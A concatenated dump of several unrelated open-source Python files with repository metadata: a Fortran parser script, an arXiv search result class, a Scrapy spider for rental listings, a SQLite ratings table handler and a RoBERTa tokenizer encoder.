out_file.close()\n\n out_file = open(f\"{parser.directory}/inlined_bc_declaration.inc\",\"w\")\n out_file.write(\"public:: \" + subroutine_name + \"_inlined\")\n out_file.close()\n\n #generate new boundcond.f90\n old_lines = open(f\"{parser.directory}/boundcond.f90\").readlines()\n res_lines = []\n for line_index,line in enumerate(old_lines):\n res_line = line.strip()\n #don't want to take line continuation into account\n if len(res_line) > 0 and res_line[0] != \"!\" and subroutine_name in res_line and \"&\" not in res_line:\n func_calls = [call for call in parser.get_function_calls_in_line(res_line,{}) if call[\"function_name\"] == subroutine_name]\n if len(func_calls) == 1:\n replace_val = f\"test_bc({subroutine_name},{subroutine_name}_inlined\"\n for param in func_calls[0][\"parameters\"]:\n replace_val += \",\" + param\n replace_val += \")\"\n res_line = parser.replace_func_call(res_line,func_calls[0],replace_val)\n # if \"endmodule\" in res_line:\n # res_lines.append(\"include 'inlined_bc'\")\n res_lines.append(res_line)\n # out_file = open(f\"{parser.directory}/boundcond.f90\",\"w\")\n # for line in res_lines:\n # out_file.write(f\"{line}\\n\")\n # out_file.close()\n print(\"done test setup\")\n exit()\n if config[\"offload\"]:\n #get flag mappings from cparam.inc\n #for testing\n # parser.flag_mappings[\"topbot\"] = \"top\"\n # parser.flag_mappings[\"lone_sided\"] = \".true.\"\n #\n parser.ignored_subroutines.extend([\"mpiwtime\",\"random_number_wrapper\"])\n parser.ignored_subroutines.extend([\"timing\"])\n parser.safe_subs_to_remove.extend([\"timing\"])\n parser.ignored_subroutines.extend([\"sum_mn_name\",\"max_mn_name\",\"yzsum_mn_name_x\",\"xzsum_mn_name_y\",\"xysum_mn_name_z\",\"zsum_mn_name_xy\",\"ysum_mn_name_xz\",\"phizsum_mn_name_r\",\"phisum_mn_name_rz\",\"integrate_mn_name\",\"sum_lim_mn_name\",\"save_name\"])\n parser.safe_subs_to_remove.append(\"save_name\")\n if not parser.include_diagnostics:\n parser.safe_subs_to_remove.extend([\"sum_mn_name\",\"max_mn_name\",\"yzsum_mn_name_x\",\"xzsum_mn_name_y\",\"xysum_mn_name_z\",\"zsum_mn_name_xy\",\"ysum_mn_name_xz\",\"phizsum_mn_name_r\",\"phisum_mn_name_rz\",\"integrate_mn_name\",\"sum_lim_mn_name\",\"save_name\"])\n parser.ignored_subroutines.extend([\"diagnostic_magnetic\",\"xyaverages_magnetic\",\"yzaverages_magnetic\",\"xzaverages_magnetic\"])\n parser.safe_subs_to_remove.extend([\"diagnostic_magnetic\",\"xyaverages_magnetic\",\"yzaverages_magnetic\",\"xzaverages_magnetic\"])\n parser.ignored_subroutines.extend([\"calc_diagnostics_density\",\"calc_diagnostics_magnetic\",\"calc_diagnostics_energy\",\"calc_diagnostics_hydro\"])\n parser.safe_subs_to_remove.extend([\"calc_diagnostics_density\",\"calc_diagnostics_magnetic\",\"calc_diagnostics_energy\",\"calc_diagnostics_hydro\"])\n\n parser.ignored_subroutines.extend([\"die_gracefully\", \"stop_it\",\"stop_it_if_any\"])\n parser.safe_subs_to_remove.extend([\"die_gracefully\",\"stop_it\",\"stop_it_if_any\"])\n parser.safe_subs_to_remove.extend([\"open\",\"close\"])\n\n\n parser.ignored_subroutines.extend([\"fatal_error\",\"not_implemented\",\"fatal_error_local\",\"error\",\"inevitably_fatal_error\"])\n parser.safe_subs_to_remove.extend([\"fatal_error\",\"not_implemented\",\"fatal_error_local\",\"error\",\"inevitably_fatal_error\"])\n\n parser.ignored_subroutines.extend([\"vecout\",\"vecout_finalize\",\"vecout_initialize\"])\n parser.safe_subs_to_remove.extend([\"vecout\",\"vecout_finalize\",\"vecout_initialize\"])\n\n parser.ignored_subroutines.extend([\"output_crash_files\"])\n parser.safe_subs_to_remove.extend([\"output_crash_files\"])\n\n parser.safe_subs_to_remove.extend([\"write\"])\n parser.safe_subs_to_remove.extend([\"initiate_isendrcv_bdry\",\"finalize_isendrcv_bdry\"])\n parser.ignored_subroutines.extend([\"initiate_isendrcv_bdry\",\"finalize_isendrcv_bdry\"])\n\n parser.safe_subs_to_remove.extend([\"boundconds_y\",\"boundconds_z\"])\n parser.ignored_subroutines.extend([\"boundconds_y\",\"boundconds_z\"])\n\n # parser.safe_subs_to_remove.extend([\"calc_all_pencils\"])\n # parser.ignored_subroutines.extend([\"calc_all_pencils\"])\n\n subs_not_to_inline = parser.ignored_subroutines.copy()\n #der and others are handled by the DSL\n subs_not_to_inline.extend(der_funcs)\n orig_lines = parser.get_subroutine_lines(subroutine_name,filename)\n\n # #used to generate res-all-inlined.txt\n # parser.inline_all_function_calls(filename,subroutine_name,orig_lines,parser.ignored_subroutines) \n # all_inlined_lines = parser.func_info[subroutine_name][\"inlined_lines\"][filename]\n # file = open(\"res-all-inlined.txt\",\"w\")\n # for line in all_inlined_lines:\n # file.write(f\"{line}\\n\")\n # file.close()\n # exit()\n\n # subroutine_name = \"duu_dt\"\n # filename = f\"{parser.directory}/hydro.f90\"\n parser.inline_all_function_calls(filename,subroutine_name,orig_lines,subs_not_to_inline) \n new_lines = parser.func_info[subroutine_name][\"inlined_lines\"][filename]\n print(\"\\n\\nDONE inlining\\n\\n\")\n if parser.include_diagnostics:\n chosen_idiags = [f\"idiag_{x}\" for x in [\"urms\",\"umax\",\"rhom\",\"ssm\",\"dtc\",\"dtu\",\"dtnu\",\"dtchi\"]]\n idiag_vars = parser.get_idiag_vars(new_lines)\n print(\"\\nidiag vars\\n\")\n for var in idiag_vars:\n print(var)\n chosen_idiag_vars = [x for x in idiag_vars if remove_mod(x) in chosen_idiags]\n not_chosen_idiag_vars = [x for x in idiag_vars if x not in chosen_idiag_vars]\n\n remove_indexes = []\n for line_index,line in enumerate(new_lines):\n if \"write(*,*)\" in line:\n remove_indexes.append(line_index)\n for var in chosen_idiag_vars:\n line = line.replace(f\"{var}/=0\",\".true.\")\n for var in not_chosen_idiag_vars:\n line = line.replace(f\"{var}/=0\",\".false.\")\n if len(line) >= 2 and line[:2] != \"if\":\n if any([x in line for x in not_chosen_idiag_vars]):\n remove_indexes.append(line_index)\n new_lines[line_index] = line\n new_lines = [x[1] for x in enumerate(new_lines) if x[0] not in remove_indexes]\n local_variables = {parameter:v for parameter,v in parser.get_variables(new_lines, {},filename,True).items() }\n new_lines = parser.elim_empty_branches(new_lines,local_variables)\n new_lines = parser.eliminate_while(new_lines)\n\n file = open(\"res-after-inlining.txt\",\"w\")\n for line in new_lines:\n file.write(f\"{line}\\n\")\n file.close()\n file = open(\"res-without-mod-names.txt\",\"w\")\n for line in new_lines:\n file.write(f\"{remove_mod(line)}\\n\")\n file.close()\n # exit()\n\n\n local_variables = {parameter:v for parameter,v in parser.get_variables(new_lines, {},filename,True).items() }\n variables = merge_dictionaries(variables,parser.static_variables)\n new_lines = parser.eliminate_while(new_lines)\n new_lines = parser.eliminate_while(new_lines)\n orig_lines = new_lines.copy()\n for line_index, line in enumerate(new_lines):\n func_calls = parser.get_function_calls_in_line(line,local_variables)\n where_func_calls = [call for call in func_calls if call[\"function_name\"] == \"where\"]\n where_call_segments = [(None, call[\"range\"][0], call[\"range\"][1]) for call in where_func_calls]\n where_map_vals = []\n for call in where_func_calls:\n is_scalar_if = False\n for seg in parser.get_array_segments_in_line(line,variables):\n param_info = parser.get_param_info((line[seg[1]:seg[2]],False),local_variables,parser.static_variables)\n print(param_info)\n is_scalar_if = is_scalar_if or (param_info[3] in [[global_subdomain_range_x,\"3\"],[global_subdomain_range_x]] )\n for seg in parser.get_struct_segments_in_line(line,variables):\n param_info = parser.get_param_info((line[seg[1]:seg[2]],False),local_variables,parser.static_variables)\n print(param_info)\n is_scalar_if = is_scalar_if or (param_info[3] in [[global_subdomain_range_x],[global_subdomain_range_x,\"3\"]])\n if not is_scalar_if:\n print(\"what to about where\")\n print(param_info)\n pexit(line)\n else:\n where_map_vals.append(line[call[\"range\"][0]:call[\"range\"][1]].replace(\"where\",\"if\",1) + \" then\")\n new_lines[line_index] = parser.replace_segments(where_call_segments, line, parser.map_val_func,local_variables, {\"map_val\": where_map_vals})\n if line == \"endwhere\":\n new_lines[line_index] = \"endif\"\n elif line == \"elsewhere\":\n new_lines[line_index] = \"else\"\n for line_index, line in enumerate(orig_lines):\n if orig_lines[line_index] != new_lines[line_index]:\n print(orig_lines[line_index],new_lines[line_index])\n file = open(\"res-elim-where.txt\",\"w\")\n for line in new_lines:\n file.write(f\"{line}\\n\")\n file.close()\n new_lines = parser.eliminate_while(new_lines)\n # for line_index, line in enumerate(new_lines):\n # if line.strip() == \"elsewhere\":\n # new_lines[line_index] = \"else\"\n # elif line.strip() == \"endwhere\":\n # new_lines[line_index] = \"endif\"\n file = open(\"res-after-inlining.txt\",\"w\")\n for line in new_lines:\n file.write(f\"{line}\\n\")\n file.close()\n # new_lines = parser.inline_known_parameters(new_lines,{},True)\n # file = open(\"res-after-inlining-2.txt\",\"w\")\n # for line in new_lines:\n # file.write(f\"{line}\\n\")\n # file.close()\n local_variables = {parameter:v for parameter,v in parser.get_variables(new_lines, {},filename,True).items() }\n transform_func = parser.transform_line_boundcond if config[\"boundcond\"] else parser.transform_line_stencil\n\n\n # all_inlined_lines = [line.replace(\"\\n\",\"\") for line in open(\"res-all-inlined.txt\",\"r\").readlines()]\n # res = parser.transform_lines(new_lines,all_inlined_lines, local_variables,transform_func)\n\n res = parser.transform_lines(new_lines,new_lines, local_variables,transform_func)\n res = [remove_mod(line) for line in res]\n res = [normalize_reals(line).replace(\"(:,1)\",\".x\").replace(\"(:,2)\",\".y\").replace(\"(:,3)\",\".z\") for line in res]\n if parser.offload_type == \"stencil\":\n output_filename = \"mhdsolver-rhs.inc\"\n elif self.offload_type == \"boundcond\":\n output_filename = \"res-boundcond.inc\"\n file = open(output_filename,\"w\")\n for line in res:\n file.write(f\"{line}\\n\") \n file.close()\n print(\"DONE\")\n\n print(\"Deduce dims\")\n print(\"Ranges:\")\n has_x_range = False\n has_y_range = False\n has_z_range = False\n for range,index,line in parser.ranges:\n if range not in [\":\",\"1:mx\",\"1:my\",\"1:mz\"]:\n print(range)\n print(\"NOT full range check what to do?\")\n exit()\n has_x_range = has_x_range or (index == 0)\n has_y_range = has_y_range or (index == 1)\n has_z_range = has_z_range or (index == 2)\n x_dim= global_subdomain_range_with_halos_x if has_x_range else \"1\"\n y_dim= global_subdomain_range_with_halos_y if has_y_range else \"1\"\n z_dim= global_subdomain_range_with_halos_z if has_z_range else \"1\"\n print(f\"{x_dim},{y_dim},{z_dim}\")\n print(config)\n print(parser.test_to_c)\n exit()\n\n check_functions = []\n if config[\"communication\"]:\n check_functions = parser.get_function_declarations(parser.get_lines(header), [], header)\n\n # parser.parse_subroutine_all_files(subroutine_name, \"\", check_functions, False, {})\n\n #slice buffers are safe, TODO add check to proof this\n parser.ignored_subroutines.extend([\"store_slices\",\"store_slices_scal\",\"store_slices_vec\"])\n # parser.parse_subroutine_in_file(f\"{parser.directory}/chemistry.f90\",\"calc_pencils_chemistry\",[],False)\n parser.parse_subroutine_in_file(filename, subroutine_name, check_functions, config[\"offload\"])\n print(\"DONE PARSING\")\n print(\"modules\")\n for module in parser.module_variables:\n print(module)\n parser.save_static_writes(parser.static_writes)\n\n writes = parser.static_writes\n variables = unique_list([x[\"variable\"] for x in writes if not x[\"local\"]])\n variables = unique_list(variables)\n\n critical_variables = [\"num_of_diag_iter_done\",\"lfinalized_diagnostics\",\"lstarted_finalizing_diagnostics\",\"lstarted_writing_diagnostics\",\"lwritten_diagnostics\",\"lout_save\",\"l1dphiavg_safe\",\"l1davgfirst_save\",\"ldiagnos_save\",\"l2davgfirst_save\",\"lout_save\",\"l1davg_save\",\"l2davg_save\",\"lout_sound_save\",\"lwrite_slices_save\",\"lchemistry_diag_save\",\"it_save\",\"p_fname\",\"p_fname_keep\",\"p_fnamer\",\"p_fname_sound\",\"p_ncountsz\",\"p_fnamex\",\"p_fnamey\",\"p_fnamez\",\"p_fnamexy\",\"p_fnamerz\"]\n\n public_variables = [variable for variable in variables if variable in parser.static_variables and parser.static_variables[variable][\"public\"]]\n threadprivate_declarations = parser.get_threadprivate_declarations_and_generate_threadpriv_modules(parser.used_files,variables,critical_variables)\n threadprivate_var = []\n\n all_file = open(f\"{parser.directory}/omp_includes/omp.inc\",\"w\")\n\n for file in threadprivate_declarations:\n file_ending= file.rsplit('/',1)[-1].replace('.f90','')\n \n # print(\"Creating \", include_filename)\n # include_file = open(include_filename, \"w\")\n # include_file.write(threadprivate_declarations[file])\n # all_file.write(threadprivate_declarations[file])\n # include_file.close()\n # orig_file_lines = open(file,\"r\").readlines()\n # if not any([x == \"\n # new_orig_file = open(file,\"w\")\n # for line in orig_file_lines:\n # if line.split(\" \",1)[0].strip().lower() == \"endmodule\":\n # new_orig_file.write(\"\n # new_orig_file.write(f\"\n # new_orig_file.write(f\"{line}\")\n # new_orig_file.close()\n # orig_file_lines = open(file,\"r\").readlines()\n # if not any([x == \"\\n\" for x in orig_file_lines]):\n # new_orig_file = open(file,\"w\")\n # for line in orig_file_lines:\n # if line.strip().lower() == \"contains\":\n # new_orig_file.write(\"\\n\")\n # new_orig_file.write(f\"\n # new_orig_file.write(f\"{line}\")\n # new_orig_file.close()\n # orig_file_lines = open(file,\"r\").readlines()\n # if not any([x == \"!Public declaration added by preprocessor\\n\" for x in orig_file_lines]):\n # new_orig_file = open(file,\"w\")\n # for line in orig_file_lines:\n # if line.strip().lower() == \"contains\":\n # new_orig_file.write(\"!Public declaration added by preprocessor\\n\")\n # new_orig_file.write(f\"_{parser.get_own_module(file)}\\n\")\n # new_orig_file.write(f\"{line}\")\n # new_orig_file.close()\n # #Have to now for all other module files add the declaration for the copy in func\n # for file in parser.find_module_files(parser.get_own_module(file)):\n # orig_file_lines = open(file,\"r\").readlines()\n # if not any([x == \"!Public declaration added by preprocessor\\n\" for x in orig_file_lines]):\n # new_orig_file = open(file,\"w\")\n # for line in orig_file_lines:\n # if line.strip().lower() == \"contains\":\n # new_orig_file.write(\"!Public declaration added by preprocessor\\n\")\n # new_orig_file.write(f\"_{parser.get_own_module(file)}\\n\")\n # new_orig_file.write(f\"{line}\")\n # new_orig_file.close()\n # all_file.close()\n\n print(\"DONE\")\n for x in checked_local_writes:\n print(x)\n exit()\n\n \n\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ToxPuro/fortran-parser","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":345404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39445703370","text":"import requests\nfrom tika import parser\n\n\nclass SearchResult:\n \"\"\"\n Result class, with the following attributes:\n result.entry_id: The result's unique identifier\n result.updated: When the result was last updated.\n result.published: When the result was originally published.\n result.title: The title of the result.\n result.authors: The result's authors, as arxiv.Authors.\n result.summary: The result abstract.\n result.comment: The authors' comment if present.\n result.journal_ref: A journal reference if present.\n result.doi: A URL for the resolved DOI to an external resource if present.\n result.primary_category: The result's primary category\n result.categories: All of the result's categories\n result.links: Up to three URLs associated with this result\n result.pdf_url: A URL for the result's PDF if present. Note: this URL also appears among result.links.\n \"\"\"\n\n def __init__(\n self,\n entry_id,\n published,\n title,\n authors,\n summary,\n doi,\n primary_category,\n categories,\n links,\n pdf_url,\n text=None,\n ):\n self.entry_id = entry_id\n self.published = published\n self.title = title\n self.authors = authors\n self.summary = summary\n self.doi = doi\n self.primary_category = primary_category\n self.categories = categories\n self.links = links\n self.pdf_url = pdf_url\n self._text = text\n\n def __str__(self):\n return f\"Result: {self.title}\"\n\n def __repr__(self):\n return f\"Result: {self.title}\"\n\n def get_text_from_pdf_url(self):\n \"\"\"\n Returns the text from the PDF URL\n \"\"\"\n # Fetch the PDF from self.pdf_url\n r = requests.get(self.pdf_url, stream=True)\n\n # Use tika to read into pdf\n raw = parser.from_buffer(r)\n\n # Return the text\n return raw[\"content\"].strip()\n\n @property\n def text(self):\n \"\"\"\n Returns the text from the PDF URL, calculating it if it has not already been calculated\n \"\"\"\n if self._text is None:\n self._text = self.get_text_from_pdf_url()\n return self._text\n\n @staticmethod\n def from_arxiv_result(arxiv_result):\n \"\"\"\n Creates a SearchResult from an arxiv.Result\n \"\"\"\n return SearchResult(\n entry_id=arxiv_result.entry_id,\n published=arxiv_result.published,\n title=arxiv_result.title,\n authors=arxiv_result.authors,\n summary=arxiv_result.summary,\n doi=arxiv_result.doi,\n primary_category=arxiv_result.primary_category,\n categories=arxiv_result.categories,\n links=arxiv_result.links,\n pdf_url=arxiv_result.pdf_url,\n )\n\n @staticmethod\n def from_open_library_result(openlibrary_result):\n \n # Get the PDF URL\n urls = [fmt[\"url\"] for fmt in openlibrary_result[\"formats\"] if fmt[\"format\"] == \"PDF\"]\n pdf_url = None\n if len(urls) > 0:\n pdf_url = urls[0]\n\n return SearchResult(\n entry_id=openlibrary_result[\"id\"],\n published=openlibrary_result[\"copyright_year\"],\n title=openlibrary_result[\"title\"],\n authors=openlibrary_result[\"contributors\"],\n summary=openlibrary_result[\"description\"],\n doi=openlibrary_result[\"ISBN13\"],\n primary_category=None,\n categories=openlibrary_result[\"subjects\"],\n links=[openlibrary_result[\"url\"],],\n pdf_url=pdf_url,\n )","repo_name":"celsomilne/medspark","sub_path":"medspark/utils/Result.py","file_name":"Result.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"20163882818","text":"# -*- coding=utf-8 -*-\n\nimport scrapy,csv,sys\nfrom lianjia.items import LianjiaItem\nreload(sys)\nsys.setdefaultencoding('utf8')\nclass AuthorSpider(scrapy.Spider):\n name='lianjia'\n\n start_urls =['http://sh.lianjia.com/ditiezufang/li143685066s100022067/l2']\n\n datas=[]\n def parse(self, response):\n for info in response.css('ul[id=house-lst] div[class=info-panel]'):\n #yield response.follow(info,callback=self.parseInfo)\n self.parseInfo(info)\n\n next_page = response.css('div.page-box.house-lst-page-box a[gahref=results_next_page]::attr(href)').extract_first()\n if next_page is not None:\n next_page = response.urljoin(next_page)\n print(\"url:::::\"+next_page)\n yield scrapy.Request(next_page, callback=self.parse)\n\n self.save_csv(self.datas)\n\n def parseInfo(self,info):\n lianjiaItem = LianjiaItem()\n lianjiaItem['subway'] = info.css('span.fang-subway-ex span::text').extract_first()\n lianjiaItem['title']=info.css('h2 a::text').extract_first();\n\n wheres = info.css('div.where span')\n lianjiaItem['xiaoqu']=wheres[0].css('::text').extract_first()\n lianjiaItem['huxing']=wheres[1].css('::text').extract_first()\n lianjiaItem['area']=wheres[2].css('::text').extract_first()\n lianjiaItem['price'] = info.css('div.price span.num::text').extract_first()\n lianjiaItem['release_time'] = info.css('div.price-pre::text').extract_first()[:10]\n lianjiaItem['crawling_time'] = ''\n lianjiaItem['url'] = 'http://sh.lianjia.com'+info.css('h2 a::attr(href)').extract_first()\n data=[lianjiaItem['subway'],lianjiaItem['title'],lianjiaItem['xiaoqu'],lianjiaItem['huxing'],lianjiaItem['area'],lianjiaItem['price'],lianjiaItem['release_time'],lianjiaItem['crawling_time'],lianjiaItem['url']]\n self.datas.append(data)\n\n\n\n def save_csv(self,datas):\n with open('lianjia.csv','w+') as csvfile:\n #地铁 标题 小区 户型 面积 价格 发布时间 爬取时间 链接url\n fieldnames=['地铁',' 标题 ','小区',' 户型',' 面积 ','价格 ','发布时间 ','爬取时间 ','链接url']\n #writer = csv.DictWriter(csvfile,fieldnames=fieldnames)\n #writer.writeheader()\n writer = csv.writer(csvfile,dialect='excel')\n writer.writerow(fieldnames)\n for data in datas:\n writer.writerow(data)\n","repo_name":"yirenzhi/learn-python","sub_path":"Scrapy/lianjia/lianjia/spiders/lianjia_spider.py","file_name":"lianjia_spider.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5704506051","text":"from core.data_handlers.Table import Table\r\nfrom exceptions.ColumnValueWarning import ColumnValueNotExistWarning, ColumnValueAlreadyExistWarning\r\nfrom exceptions.input_validation.input_validation_warning.InputValidationWarning import InputOutRangeWarning\r\n\r\n\r\nclass RatingsTable(Table):\r\n \"\"\"\r\n Implement the Table class, this class is to handle the\r\n preferences of the users on the songs\r\n\r\n It is possible to create the Ratings Table (if not present in\r\n the database). However, if a path is given, it means a static\r\n csv file of the Ratings Table exist somewhere and it will be\r\n loaded in the database instead of create a new one.\r\n\r\n Parameters\r\n ----------\r\n sql : customized sql-ddl query to create the Ratings Table\r\n\r\n path_file : path where find a static representation of the\r\n Ratings Table\r\n\r\n lower_bound : lowest possible rating value\r\n\r\n upper_bound : highest possible rating value\r\n \"\"\"\r\n\r\n def __init__(self, sql: str = None, path_file: str = None, lower_bound: int = 1, upper_bound: int = 5):\r\n super().__init__('RATINGS')\r\n self.lower_bound = lower_bound\r\n self.upper_bound = upper_bound\r\n\r\n if sql is None:\r\n sql = \"\"\"CREATE TABLE IF NOT EXISTS RATINGS (\r\n user_id text,\r\n song_id text,\r\n ratings integer,\r\n CONSTRAINT RATINGS_pk PRIMARY KEY (user_id, song_id),\r\n CONSTRAINT fk__RATINGS__USERS_c1\r\n FOREIGN KEY (user_id) REFERENCES USERS(user_id) ON DELETE CASCADE ON UPDATE CASCADE,\r\n CONSTRAINT fk__RATINGS__SONGS_c2\r\n FOREIGN KEY (song_id) REFERENCES SONGS(song_id) ON DELETE CASCADE ON UPDATE CASCADE\r\n );\"\"\"\r\n\r\n if path_file:\r\n self.sql_handler.load(table_name=self.table_name, sql=sql, path_file=path_file, separator=',')\r\n else:\r\n self.sql_handler.create(sql)\r\n\r\n def add(self, user_id: str, song_id: str, rating: int, ignore: bool = True):\r\n \"\"\"\r\n Add a new rating for a certain song by a certain user.\r\n\r\n Parameters\r\n ----------\r\n user_id : ID of a certain user\r\n\r\n song_id : ID of a certain song\r\n\r\n rating : rank of the song\r\n\r\n ignore : warning is not displayed if True, otherwise it is\r\n\r\n Returns\r\n -------\r\n current_rating : rank of the song\r\n \"\"\"\r\n if self.user_and_song_exist(user_id, song_id):\r\n if rating >= self.lower_bound or rating <= self.upper_bound:\r\n if self.rating_already_exist(user_id, song_id, ignore):\r\n current_rating = self.search((('ratings',), [('user_id', '=', user_id), 'AND',\r\n ('song_id', '=', song_id)]))\r\n ColumnValueAlreadyExistWarning(self.table_name, 'ratings', current_rating)\r\n self.update(user_id, song_id, rating)\r\n else:\r\n self.sql_handler.insert(table_name=self.table_name, data=(user_id, song_id, rating))\r\n return self.search((('ratings', ), [('user_id', '=', user_id), 'AND', ('song_id', '=', song_id)]))\r\n else:\r\n InputOutRangeWarning(self.table_name, 'ratings', rating, [self.lower_bound, self.upper_bound], False)\r\n\r\n def user_and_song_exist(self, user_id: str, song_id: str):\r\n \"\"\"\r\n Method to check if a certain user AND a certain song are present together in the Ratings table.\r\n\r\n Parameters\r\n ----------\r\n user_id : ID of a user\r\n\r\n song_id : ID of a song\r\n\r\n Returns\r\n -------\r\n bool : True if the pair (user, song) exist, False otherwise\r\n \"\"\"\r\n if self.item_not_exist('USERS', 'user_id', user_id):\r\n ColumnValueNotExistWarning('USERS', 'user_id', user_id)\r\n elif self.item_not_exist('SONGS', 'song_id', song_id):\r\n ColumnValueNotExistWarning('SONGS', 'song_id', song_id)\r\n else:\r\n return True\r\n return False\r\n\r\n def rating_already_exist(self, user_id: str, song_id: str, ignore: bool):\r\n \"\"\"\r\n Method to check if a certain song has a rating by a certain user\r\n\r\n Parameters\r\n ----------\r\n user_id : ID of a user\r\n\r\n song_id : ID of a song\r\n\r\n Returns\r\n -------\r\n bool : True if the pair (user, song) exist, False otherwise\r\n \"\"\"\r\n rating = self.search((('ratings',), [('user_id', '=', user_id), 'AND', ('song_id', '=', song_id)]), ignore=ignore)\r\n\r\n if type(rating) == list:\r\n if len(rating) != 0:\r\n return True\r\n elif rating != 0:\r\n return True\r\n\r\n return False\r\n\r\n def create_id(self, args):\r\n # this class does not need to create any id...\r\n pass\r\n\r\n def update(self, user_id: str, song_id: str, new_rating: int):\r\n \"\"\"\r\n Update information about a given user AND song.\r\n\r\n Parameters\r\n ----------\r\n user_id : ID of a certain user\r\n\r\n song_id : ID of a certain song\r\n\r\n new_rating : the value to upload in the Ratings table\r\n\r\n Returns\r\n -------\r\n Nothing\r\n \"\"\"\r\n if self.user_and_song_exist(user_id, song_id):\r\n\r\n current_rating = self.search((('ratings',), [('user_id', '=', user_id), 'AND', ('song_id', '=', song_id)]))\r\n if current_rating != 0:\r\n self.sql_handler.update(self.table_name, (('ratings', new_rating), [('user_id', '=', user_id), 'AND',\r\n ('song_id', '=', song_id)]))\r\n print(self)\r\n else:\r\n ColumnValueNotExistWarning(self.table_name, 'ratings', current_rating)\r\n self.add(user_id, song_id, new_rating)\r\n\r\n def remove(self, user_id: str, song_id: str):\r\n \"\"\"\r\n Method to remove an existing rating from the Ratings table.\r\n\r\n Parameters\r\n ----------\r\n user_id : ID of a certain user\r\n\r\n song_id : ID of a certain song\r\n\r\n Returns\r\n -------\r\n Nothing\r\n \"\"\"\r\n if self.user_and_song_exist(user_id, song_id):\r\n self.sql_handler.delete(self.table_name, ((), [('user_id', '=', user_id), 'AND',\r\n ('song_id', '=', song_id)]))\r\n\r\n def drop(self):\r\n \"\"\"\r\n Drop the Ratings table from the database.\r\n\r\n Parameters\r\n ----------\r\n\r\n\r\n Returns\r\n -------\r\n Nothing\r\n \"\"\"\r\n self.sql_handler.drop(table_name=self.table_name)\r\n\r\n def store_csv(self, path_file: str = r'../../sources/Ratings.csv'):\r\n \"\"\"\r\n Method to store the Ratings table in csv file\r\n\r\n Parameters\r\n ----------\r\n path_file : path where save the csv file\r\n\r\n Returns\r\n -------\r\n Nothing\r\n \"\"\"\r\n self.sql_handler.store(self.table_name, path_file)\r\n\r\n def __str__(self):\r\n return self.sql_handler.print(table_name=self.table_name, column_name='user_id')\r\n\r\n def generator(self, occurrences: int = 100):\r\n pass\r\n","repo_name":"wilsonjefferson/DSSC_IR","sub_path":"core/data_handlers/RatingsTable.py","file_name":"RatingsTable.py","file_ext":"py","file_size_in_byte":7654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73343887447","text":"import os\nimport finetune\nfrom finetune.encoding.input_encoder import BaseEncoder, EncodedOutput\nfrom finetune.base_models.gpt2.encoder import GPT2Encoder, bytes_to_unicode\nfrom finetune.base_models.gpt2 import encoder as gpt2_encoder\n\nfrom transformers import RobertaTokenizerFast\n\nFINETUNE_FOLDER = os.path.dirname(finetune.__file__)\nDICT_PATH = os.path.join(FINETUNE_FOLDER, \"model\", \"bert\", \"dict.txt\")\nENCODER_PATH = os.path.join(FINETUNE_FOLDER, \"model\", \"bert\", \"roberta_encoder.json\")\nVOCAB_PATH = os.path.join(FINETUNE_FOLDER, \"model\", \"bert\", \"roberta_vocab.bpe\")\n\n\nclass RoBERTaEncoder(GPT2Encoder):\n \"\"\"\n A modified wrapper for a public python BPE tokenizer. The modifications allow encoding directly into the formats\n required for finetune. Particularly with respect to formatting with multiple inputs.\n \"\"\"\n\n offset = 4\n\n def __init__(\n self, encoder_path=gpt2_encoder.ENCODER_PATH, vocab_path=gpt2_encoder.VOCAB_PATH\n ):\n self.freqs = {}\n index = 0\n with open(DICT_PATH, \"r\", encoding=\"utf-8\") as freq_dict:\n lines = freq_dict.readlines()\n for line in lines:\n idx = line.rfind(\" \")\n if idx == -1:\n raise ValueError(\n \"Incorrect dictionary format, expected ' '\"\n )\n if \"madeupword\" in line[:idx]:\n index += 1\n continue\n token_idx = int(line[:idx])\n self.freqs[token_idx + self.offset] = (\n index + self.offset\n ) # add 4 for the special tokens at beginning\n index += 1\n super().__init__(encoder_path=encoder_path, vocab_path=vocab_path)\n\n\n def _convert_to_embed_idx(self, idx):\n return self.freqs[idx]\n\n def _add_extra_toks(self):\n self.special_tokens = []\n self.encoder[\"\"] = 0\n self.encoder[\"\"] = 1\n self.encoder[\"\"] = 2\n self.encoder[\"\"] = 3\n self.freqs[3] = 3\n self.start_token = 0 # bos from roberta\n self.delimiter_token = 2 # eos from roberta\n self.end_token = 2 # eos from roberta\n self.UNK_IDX = 3 # unk from roberta\n # If base model file doesn't contain a mask token, use token idx\n self.mask_token = self.encoder.get(\"\", 3)\n\n\nclass RoBERTaEncoderSlow(RoBERTaEncoder):\n \"\"\"\n A modified wrapper for a public python BPE tokenizer. The modifications allow encoding directly into the formats\n required for finetune. Particularly with respect to formatting with multiple inputs.\n Now with support for MLM objective\n \"\"\"\n\n offset = 4\n\n def _convert_to_embed_idx(self, idx):\n return idx\n\n def __init__(self, encoder_path=ENCODER_PATH, vocab_path=VOCAB_PATH):\n super().__init__(encoder_path=encoder_path, vocab_path=vocab_path)\n\n\nclass RoBERTaEncoderV2(BaseEncoder):\n offset = 4\n\n def __init__(self, encoder_path=ENCODER_PATH, vocab_path=VOCAB_PATH):\n self.tokenizer = RobertaTokenizerFast(\n merges_file=vocab_path, vocab_file=encoder_path\n )\n self.start_token = 0 # bos from roberta\n self.delimiter_token = 2 # eos from roberta\n self.end_token = 2 # eos from roberta\n self.UNK_IDX = 3 # unk from roberta\n self.mask_token = 50264\n self.mapping = {\n self.tokenizer.cls_token_id: 0,\n self.tokenizer.eos_token_id: 2,\n self.tokenizer.unk_token_id: 3,\n self.tokenizer.sep_token_id: 2,\n }\n self.initialized = True\n\n @property\n def vocab_size(self):\n return 50269\n\n def _encode(self, texts):\n batch_tokens = []\n batch_token_idxs = []\n batch_char_ends = []\n batch_char_starts = []\n for i, text in enumerate(texts):\n encoded = self.tokenizer._tokenizer.encode(text, add_special_tokens=False)\n batch_token_idxs.append(\n [\n i + self.offset if i not in self.mapping else self.mapping[i]\n for i in encoded.ids\n ]\n )\n 